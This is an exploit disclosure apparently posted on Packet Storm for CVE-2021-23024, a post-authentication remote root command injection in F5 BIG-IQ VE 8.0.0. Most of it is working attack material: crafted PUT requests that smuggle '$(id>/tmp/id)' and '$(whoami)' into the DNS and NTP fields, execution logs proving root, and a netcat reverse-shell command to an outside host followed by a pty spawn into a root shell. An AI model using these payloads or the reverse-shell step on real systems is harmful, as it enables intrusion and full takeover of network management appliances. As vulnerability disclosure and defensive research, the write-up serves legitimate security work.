what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

F5 BIG-IQ VE 8.0.0-2923215 Remote Root

F5 BIG-IQ VE 8.0.0-2923215 Remote Root
Posted Jun 23, 2021
Authored by Jeremy Brown

F5 BIG-IQ VE version 8.0.0-2923215 post-authentication remote root code execution exploit.

tags | exploit, remote, root, code execution
advisories | CVE-2021-23024
SHA-256 | 06ca92ed589ce099a31c2500c551bcdd8f20879de941a5f994508892b97ce94e

F5 BIG-IQ VE 8.0.0-2923215 Remote Root

Change Mirror Download
F5 BIG-IQ VE v8.0.0-2923215 Post-auth Remote Root RCE

CVE-2021-23024

=======
Details
=======

It was possible to execute commands with root privileges as an authenticated privileged user via command injection in easy-setup-test-connection.

There are two blind command injection bugs in Test DNS Connection and Test NTP Connection features, which make request to mgmt/shared/system/easy-setup-test-connection.

User accounts tested for calling the API:

- Admin
- User + Administrator Role

SSH is enabled by default for the root user, but the system does not intend the admin account to gain a shell access:

admin:x:0:500:Admin User:/home/admin:/bin/false

But an admin (or a user with admin-like privileges) can elevate privileges to root and gain a shell via command injection in the web portal.

=====
Repro
=====

https://bigiq/ui/system/this-device/dns-ntp/dns-ntp-edit

Modify and replay back the dnsServerAddresses JSON field.

=======
Request
=======

PUT /mgmt/shared/system/easy-setup-test-connection HTTP/1.1
X-F5-Auth-Token: eyJraW.....
.....

{"dnsServerAddresses":["$(id>/tmp/id)"],"ntpServerAddresses":[]}

or

{"dnsServerAddresses":["8.8.8.8"],"ntpServerAddresses":["$(whoami)"]}

========
Response
========

HTTP/1.1 400 Bad Request
Server: webd
.....

{"code":400,"message":"Dns $(id>/tmp/id) is not valid\n","originalRequestBody":"{\"dnsServerAddresses\":[\"$(id>/tmp/id)\"],\"ntpServerAddresses\":[]}","referer":"https://bigiq/ui/system/this-device/dns-ntp/dns-ntp-edit","restOperationId":2101063,"errorStack":[],"kind":":resterrorresponse"}

and repectively

{"code":400,"message":"NTP $(whoami) is not valid\n","originalRequestBody":"{\"dnsServerAddresses\":[\"8.8.8.8\"],\"ntpServerAddresses\":[\"$(whoami)\"]}","referer":"https://bigiq/ui/system/this-device/dns-ntp/dns-ntp-edit","restOperationId":2149253,"errorStack":[],"kind":":resterrorresponse"}

=============
Execution Log
=============

DNS:

pid=7349 executed [/bin/sh -c dig +short +time=5 +tries=1 @$(id>/tmp/id) ]
pid=7351 executed [id ]
pid=7349 executed [dig +short +time=5 +tries=1 @ ]

[root@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] config # cat /tmp/id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0

NTP:

pid=1288 executed [/bin/sh -c dig +short +time=5 +tries=1 @8.8.8.8 $(whoami) ]
pid=1290 executed [whoami ]
pid=1288 executed [dig +short +time=5 +tries=1 @8.8.8.8 root ]

============
Exploitation
============

The netcat binary with -e support is installed on the system already making a remote shell easy for demo.

A command such as this will provide the connection to our client listener: "nc 10.0.0.100 5000 -e /bin/bash" while on the client we will drop into a root shell on the bigiq server.

$ nc -l -p 5000
... connection receieved

python -c 'import pty; pty.spawn("/bin/bash")'

[@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] restjavad # pwd

/var/service/restjavad

[@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] restjavad # id

uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0

[@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] restjavad # ps
.....
32320 ? S 0:00 su elasticsearch -s /bin/bash -c export JAVA_HOME=/usr/lib/jvm/jre-1.8.0-openjdk.x86_64;export ES_JAVA_OPTS='-Xms6000m -Xmx6000m';export ES_PATH_CONF=/var/config/rest/elasticsearch/config;exec bin/elasticsearch >/dev/null 2>&1
32335 tty1 S 0:00 python -c import pty; pty.spawn("/bin/bash")
32336 pts/0 Ss 0:00 /bin/bash

===
Fix
===

https://support.f5.com/csp/article/K06024431
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close